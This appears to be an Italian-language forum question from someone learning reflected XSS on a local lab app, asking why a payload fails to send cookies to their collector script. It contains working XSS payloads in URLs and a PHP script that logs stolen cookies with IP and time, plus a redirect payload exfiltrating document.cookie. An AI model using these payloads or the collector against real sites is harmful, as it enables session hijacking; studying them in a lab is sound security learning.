Sto cercando di conoscere XSS in modo tale da rendere l'app Web vulnerabile all'XSS riflesso. Sto cercando di rubare i cookie dell'utente, quindi se scrivo quanto segue viene visualizzato il valore del cookie:
http://localhost/lab1/php/login.php?message=<script>alert(document.cookie);</script>
Voglio inviare il valore del cookie al seguente script PHP (getcookies.php) nel mio localhost:
<?php
$file = 'cookies_list.txt';
$stringPrint = 'Time ' . date("Y/m/d - h:i:sa") . ' Origin IP: ' . $_SERVER['REMOTE_ADDR'] . ' Cookie: ' . $_GET["c"] . PHP_EOL;
file_put_contents($file, $stringPrint, FILE_APPEND | LOCK_EX);
?>
Quando scrivo questo URL del browser, lo script PHP ottiene il valore 'test' di c param.
http://localhost/getcookies.php?c=test
Invece quando scrivo questo, lo script PHP non ottiene alcun valore.
http://localhost/lab1/php/login.php?message=<script>document.location.href='http://localhost/getcookies.php?c='+document.cookie;</script>
Qualcuno potrebbe dirmi perché non funziona?
Aggiornamento:
-
Posso anche eseguire questo payload:
message=<script>document.body.innerHTML = '';</script> message=<script>document.write("hi");</script>
-
I cookie non sono HttpOnly.
-
No, la richiesta GET è non inviata al server.